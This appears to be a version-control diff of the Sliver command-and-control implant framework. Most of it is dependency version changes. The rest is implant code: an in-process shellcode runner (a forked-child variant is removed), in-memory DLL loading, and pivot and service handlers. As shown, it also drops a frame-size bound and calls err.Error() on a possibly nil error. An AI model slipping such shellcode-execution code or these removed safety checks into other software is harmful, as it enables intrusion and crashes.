google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
@@ -1059,8 +1099,6 @@ gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlI
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc=
gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
@@ -1075,12 +1113,12 @@ gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.6.0 h1:eNbLmNTpPpTOVZi8MMxCi2aaIm0ZpInbORNXDwyLGvg=
gorm.io/driver/mysql v1.6.0/go.mod h1:D/oCC2GWK3M/dqoLxnOlaNKmXz8WNTfcS9y5ovaSqKo=
gorm.io/driver/postgres v1.6.2 h1:BvXQ/cNUg63q5TFNg672DmDcowZSFrNLkkA3Xe6GXq4=
gorm.io/driver/postgres v1.6.2/go.mod h1:0c4fQA44XhOklXDkgtuKqysHCycTa5i9e3EIpDGCwXk=
gorm.io/driver/postgres v1.6.0 h1:2dxzU8xJ+ivvqTRph34QX+WrRaJlmfyPqXmoGVjMBa4=
gorm.io/driver/postgres v1.6.0/go.mod h1:vUw0mrGgrTK+uPHEhAdV4sfFELrByKVGnaVRkXDhtWo=
gorm.io/driver/sqlite v1.6.0 h1:WHRRrIiulaPiPFmDcod6prc4l2VGVWHz80KspNsxSfQ=
gorm.io/driver/sqlite v1.6.0/go.mod h1:AO9V1qIQddBESngQUKWL9yoH93HIeA1X6V633rBwyT8=
gorm.io/gorm v1.31.2 h1:3o8FXNo9v9S858gil+3LlZA1LkCOzgb4g5BL64FgaCo=
gorm.io/gorm v1.31.2/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs=
gorm.io/gorm v1.31.0 h1:0VlycGreVhK7RF/Bwt51Fk8v0xLiiiFdbGDPIZQ7mJY=
gorm.io/gorm v1.31.0/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs=
gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c h1:m/r7OM+Y2Ty1sgBQ7Qb27VgIMBW8ZZhT4gLnUyDIhzI=
gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c/go.mod h1:3r5CMtNQMKIvBlrmM9xWUNamjKBYPOWyXOjmg5Kts3g=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+9 -9
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.26.6
go 1.24.0
require (
filippo.io/age v1.1.1
@@ -11,14 +11,14 @@ require (
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/sliverarmory/reflektor v0.0.2
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
github.com/stretchr/testify v1.8.4
github.com/tetratelabs/wazero v1.7.1
github.com/things-go/go-socks5 v0.0.4
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.52.0
golang.org/x/net v0.55.0
golang.org/x/sys v0.45.0
golang.org/x/crypto v0.42.0
golang.org/x/net v0.43.0
golang.org/x/sys v0.36.0
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
google.golang.org/protobuf v1.32.0
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
@@ -37,11 +37,11 @@ require (
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.35.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/text v0.37.0 // indirect
golang.org/x/mod v0.27.0 // indirect
golang.org/x/sync v0.17.0 // indirect
golang.org/x/text v0.29.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.44.0 // indirect
golang.org/x/tools v0.36.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+18 -18
View File
@@ -39,12 +39,12 @@ github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
@@ -61,21 +61,21 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI=
golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.35.0 h1:Ww1D637e6Pg+Zb2KrWfHQUnH2dQRLBQyAtpr/haaJeM=
golang.org/x/mod v0.35.0/go.mod h1:+GwiRhIInF8wPm+4AoT6L0FA1QWAad3OMdTRx4tFYlU=
golang.org/x/mod v0.27.0 h1:kb+q2PyFnEADO2IEF935ehFUXlWiNjJWtRNgBLSfbxQ=
golang.org/x/mod v0.27.0/go.mod h1:rWI627Fq0DEoudcK+MBkNkCe0EetEaDSwJJkCcjpazc=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8=
golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww=
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -88,24 +88,24 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k=
golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4=
golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk=
golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ=
golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc=
golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38=
golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk=
golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.44.0 h1:UP4ajHPIcuMjT1GqzDWRlalUEoY+uzoZKnhOjbIPD2c=
golang.org/x/tools v0.44.0/go.mod h1:KA0AfVErSdxRZIsOVipbv3rQhVXTnlU6UhKxHd1seDI=
golang.org/x/tools v0.36.0 h1:kWS0uv/zsvHEle1LbV5LE8QujrxB3wfQyxHfhOk0Qkg=
golang.org/x/tools v0.36.0/go.mod h1:WBDiHKJK8YgLHlcQPYQzNCkUxUypCaa5ZegCVutKm+s=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-11
View File
@@ -34,16 +34,5 @@ cd "$tempDir"
go mod tidy -compat=1.25
go mod vendor
# The lesnuages/go-winio fork provides RemoteClientMode, which Sliver needs,
# but its checked-in syscall wrappers predate syscall.SyscallN. Regenerate the
# wrappers with the pinned x/sys generator so Go 1.26 Windows/ARM64 debug builds
# do not link the oversized syscall.Syscall15 wrapper.
(
cd vendor/github.com/lesnuages/go-winio
go run -mod=mod golang.org/x/sys/windows/mkwinsyscall \
-output zsyscall_windows.go \
file.go pipe.go sd.go fileinfo.go privilege.go backup.go hvsock.go
)
# move updated files back
cleanup
@@ -28,7 +28,7 @@ import (
"log"
// {{end}}
reflektor "github.com/sliverarmory/reflektor/memmod"
"github.com/moloch--/memmod"
)
const (
@@ -39,7 +39,7 @@ const (
type WindowsExtension struct {
id string
data []byte
module *reflektor.Module
module *memmod.Module
arch string
init string
sync.Mutex
@@ -73,7 +73,7 @@ func (w *WindowsExtension) Load() error {
}
w.Lock()
defer w.Unlock()
w.module, err = reflektor.LoadLibrary(w.data)
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
}
+11 -19
View File
@@ -840,30 +840,22 @@ func servicesListHandler(data []byte, resp RPCResponse) {
}
serviceInfo, err := service.ListServices(servicesReq.Hostname)
servicesResp := buildServicesResp(serviceInfo, err)
/*
Errors from listing the services are not fatal. The client can
display a message to the user about the issue
We still want other errors like timeouts to be handled in the
normal way.
*/
servicesResp := &sliverpb.Services{
Details: serviceInfo,
Error: err.Error(),
Response: &commonpb.Response{},
}
data, err = proto.Marshal(servicesResp)
resp(data, err)
}
// buildServicesResp packages the result of service.ListServices into a
// sliverpb.Services response. Errors from listing services are not fatal
// (partial results may still be useful to the operator), so a non-nil error
// is reported via the Error string field rather than failing the RPC.
// The nil-check is load-bearing: callers previously called err.Error()
// unconditionally, crashing the implant when ListServices succeeded cleanly.
func buildServicesResp(details []*sliverpb.ServiceDetails, err error) *sliverpb.Services {
errStr := ""
if err != nil {
errStr = err.Error()
}
return &sliverpb.Services{
Details: details,
Error: errStr,
Response: &commonpb.Response{},
}
}
func serviceDetailHandler(data []byte, resp RPCResponse) {
serviceDetailReq := &sliverpb.ServiceDetailReq{}
err := proto.Unmarshal(data, serviceDetailReq)
-2
View File
@@ -1,5 +1,3 @@
//go:build !sliver_lint
package main
/*
-15
View File
@@ -38,20 +38,11 @@ import (
"google.golang.org/protobuf/proto"
)
// MaxFrameLength bounds the payload size a pivot will allocate from a peer's
// 4-byte length prefix. A corrupted or desynced prefix can otherwise be read as
// a value up to ~4GiB and trigger an allocation large enough to crash the
// implant (see BishopFox/sliver#1452). 512MiB is far above any realistic
// relayed message but well below a fatal allocation.
const MaxFrameLength = 512 * 1024 * 1024
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
ErrFailedKeyExchange = errors.New("failed key exchange")
// ErrFrameTooLarge - A peer's declared frame length exceeds MaxFrameLength
ErrFrameTooLarge = errors.New("pivot frame exceeds maximum length")
pivotListeners = &sync.Map{}
stoppedPivotListeners = &sync.Map{}
@@ -505,12 +496,6 @@ func (p *NetConnPivot) read() ([]byte, error) {
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
if dataLength > MaxFrameLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: frame length %d exceeds max %d\n", dataLength, MaxFrameLength)
// {{end}}
return nil, ErrFrameTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
-100
View File
@@ -1,100 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/binary"
"errors"
"net"
"sync"
"testing"
"time"
)
func framePrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
// readWithTimeout runs read() with a deadline so a regression (an unbounded
// read that blocks waiting for a bogus multi-GB body) fails fast instead of
// hanging the whole test binary.
func readWithTimeout(t *testing.T, read func() ([]byte, error)) ([]byte, error) {
t.Helper()
type result struct {
data []byte
err error
}
ch := make(chan result, 1)
go func() {
d, e := read()
ch <- result{d, e}
}()
select {
case r := <-ch:
return r.data, r.err
case <-time.After(3 * time.Second):
t.Fatal("read() did not return in time (possible unbounded read)")
return nil, nil
}
}
// A corrupted/desynced 4-byte length prefix that reads as a huge value must be
// rejected before allocating, instead of triggering a multi-GB allocation that
// crashes the implant (BishopFox/sliver#1452).
func TestNetConnPivotReadRejectsOversizedFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivot{conn: server, readMutex: &sync.Mutex{}}
go func() {
// Only the length prefix is ever sent; no body follows.
_, _ = client.Write(framePrefix(uint32(MaxFrameLength) + 1))
}()
if _, err := readWithTimeout(t, p.read); !errors.Is(err, ErrFrameTooLarge) {
t.Fatalf("expected ErrFrameTooLarge, got %v", err)
}
}
// A well-formed frame within the bound must still round-trip unchanged.
func TestNetConnPivotReadAcceptsValidFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivot{conn: server, readMutex: &sync.Mutex{}}
payload := []byte("hello pivot")
go func() {
_, _ = client.Write(framePrefix(uint32(len(payload))))
_, _ = client.Write(payload)
}()
data, err := readWithTimeout(t, p.read)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if string(data) != string(payload) {
t.Fatalf("got %q, want %q", data, payload)
}
}
-2
View File
@@ -1,5 +1,3 @@
//go:build !sliver_lint
package runner
/*
+9 -48
View File
@@ -34,60 +34,21 @@ import (
"unsafe"
)
//go:linkname localTaskBeforeFork syscall.runtime_BeforeFork
func localTaskBeforeFork()
//go:linkname localTaskAfterFork syscall.runtime_AfterFork
func localTaskAfterFork()
//go:linkname localTaskAfterForkInChild syscall.runtime_AfterForkInChild
func localTaskAfterForkInChild()
// LocalTask - Run shellcode in a forked child; blocks until the child exits.
// Forking isolates the beacon from payloads that exit/execve (issue #2237).
// LocalTask - Run a shellcode in the current process
// Will hang the process until shellcode completion
// TODO: actually test this code
// Adapted/stolen from: https://github.com/lesnuages/hershell/blob/master/shell/shell_default.go#L48
func LocalTask(data []byte, rwxPages bool) error {
dataAddr := uintptr(unsafe.Pointer(&data[0]))
page := getPage(dataAddr)
pageAddr := uintptr(unsafe.Pointer(&page[0]))
pageLen := uintptr(len(page))
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
dataPtr := unsafe.Pointer(&data)
// funcPtr trick from hershell (https://github.com/lesnuages/hershell)
funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
runtime.LockOSThread()
localTaskBeforeFork()
// Raw SYS_FORK on Darwin: r0 holds child's pid in BOTH processes; r1==1
// flags the child (libSystem's fork() wrapper hides this).
r0, isChild, errno := syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
if errno != 0 {
localTaskAfterFork()
runtime.UnlockOSThread()
return errno
}
if isChild == 1 {
localTaskAfterForkInChild()
for fd := uintptr(3); fd < 1024; fd++ {
syscall.RawSyscall(syscall.SYS_CLOSE, fd, 0, 0)
}
syscall.RawSyscall(syscall.SYS_MPROTECT, pageAddr, pageLen, uintptr(syscall.PROT_READ|syscall.PROT_EXEC))
funcPtr()
for {
syscall.RawSyscall(syscall.SYS_EXIT, 0, 0, 0)
}
}
localTaskAfterFork()
var ws syscall.WaitStatus
_, err := syscall.Wait4(int(r0), &ws, 0, nil)
runtime.UnlockOSThread()
if err != nil {
return err
}
if ws.Signaled() {
return fmt.Errorf("shellcode child killed by signal %v", ws.Signal())
}
if ws.ExitStatus() != 0 {
return fmt.Errorf("shellcode child exited %d", ws.ExitStatus())
}
defer runtime.UnlockOSThread()
go func(fPtr func()) {
fPtr()
}(funcPtr)
return nil
}
@@ -1,127 +0,0 @@
//go:build darwin
package taskrunner
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"os"
"os/exec"
"runtime"
"testing"
"time"
"unsafe"
)
const localTaskHelperEnv = "SLIVER_LOCALTASK_HELPER"
const localTaskSentinel = "PARENT_ALIVE_AFTER_LOCALTASK"
// darwin/amd64 mov eax,0x2000001 ; xor edi,edi ; syscall — exit(0)
var exitShellcodeDarwinAmd64 = []byte{0xb8, 0x01, 0x00, 0x00, 0x02, 0x31, 0xff, 0x0f, 0x05}
// darwin/amd64 mov eax,0x2000001 ; mov edi,42 ; syscall — exit(42)
var exit42ShellcodeDarwinAmd64 = []byte{0xb8, 0x01, 0x00, 0x00, 0x02, 0xbf, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05}
// darwin/arm64 movz x0,#0 ; movz x16,#1 ; svc #0x80 — exit(0)
// Stored as [N]uint32 so the backing storage is 4-byte aligned (ARM64 SIGBUS
// otherwise).
var exitShellcodeDarwinArm64Words = [3]uint32{0xd2800000, 0xd2800030, 0xd4001001}
// darwin/arm64 movz x0,#42 ; movz x16,#1 ; svc #0x80 — exit(42)
var exit42ShellcodeDarwinArm64Words = [3]uint32{0xd2800540, 0xd2800030, 0xd4001001}
func asBytes[T any](words *T) []byte {
return unsafe.Slice((*byte)(unsafe.Pointer(words)), unsafe.Sizeof(*words))
}
func exitShellcode() []byte {
switch runtime.GOARCH {
case "amd64":
return exitShellcodeDarwinAmd64
case "arm64":
return asBytes(&exitShellcodeDarwinArm64Words)
}
return nil
}
func exit42Shellcode() []byte {
switch runtime.GOARCH {
case "amd64":
return exit42ShellcodeDarwinAmd64
case "arm64":
return asBytes(&exit42ShellcodeDarwinArm64Words)
}
return nil
}
func TestMain(m *testing.M) {
switch os.Getenv(localTaskHelperEnv) {
case "exit0":
_ = LocalTask(exitShellcode(), false)
time.Sleep(500 * time.Millisecond)
fmt.Println(localTaskSentinel)
os.Exit(0)
case "exit42":
err := LocalTask(exit42Shellcode(), false)
if err != nil {
fmt.Printf("LOCALTASK_ERR=%s\n", err.Error())
} else {
fmt.Println("LOCALTASK_ERR=<nil>")
}
os.Exit(0)
}
os.Exit(m.Run())
}
func runHelper(t *testing.T, mode string) []byte {
t.Helper()
if exitShellcode() == nil {
t.Skipf("no exit shellcode for GOARCH=%s", runtime.GOARCH)
}
cmd := exec.Command(os.Args[0])
cmd.Env = append(os.Environ(), localTaskHelperEnv+"="+mode)
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("helper subprocess (%s) exited abnormally: %v\noutput: %s", mode, err, out)
}
return out
}
func TestLocalTask_ParentSurvives(t *testing.T) {
out := runHelper(t, "exit0")
if !bytes.Contains(out, []byte(localTaskSentinel)) {
t.Fatalf("expected sentinel %q in helper output:\n%s", localTaskSentinel, out)
}
}
// Accepts signal-kill as well as clean non-zero exit: macOS Apple Silicon
// W^X faults mprotected-page execution with SIGBUS regardless of the
// shellcode bytes, which still exercises LocalTask's error path.
func TestLocalTask_ReportsChildFailure(t *testing.T) {
out := runHelper(t, "exit42")
if bytes.Contains(out, []byte("LOCALTASK_ERR=shellcode child exited 42")) {
return
}
if bytes.Contains(out, []byte("LOCALTASK_ERR=shellcode child killed by signal")) {
return
}
t.Fatalf("expected LOCALTASK_ERR for exit-42 or signal kill:\n%s", out)
}
+7 -47
View File
@@ -34,59 +34,19 @@ import (
//{{end}}
)
//go:linkname localTaskBeforeFork syscall.runtime_BeforeFork
func localTaskBeforeFork()
//go:linkname localTaskAfterFork syscall.runtime_AfterFork
func localTaskAfterFork()
//go:linkname localTaskAfterForkInChild syscall.runtime_AfterForkInChild
func localTaskAfterForkInChild()
// LocalTask - Run shellcode in a forked child; blocks until the child exits.
// Forking isolates the beacon from payloads that exit/execve (issue #2237).
// LocalTask - Run a shellcode in the current process
// Will hang the process until shellcode completion
func LocalTask(data []byte, rwxPages bool) error {
dataAddr := uintptr(unsafe.Pointer(&data[0]))
page := getPage(dataAddr)
pageAddr := uintptr(unsafe.Pointer(&page[0]))
pageLen := uintptr(len(page))
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
dataPtr := unsafe.Pointer(&data)
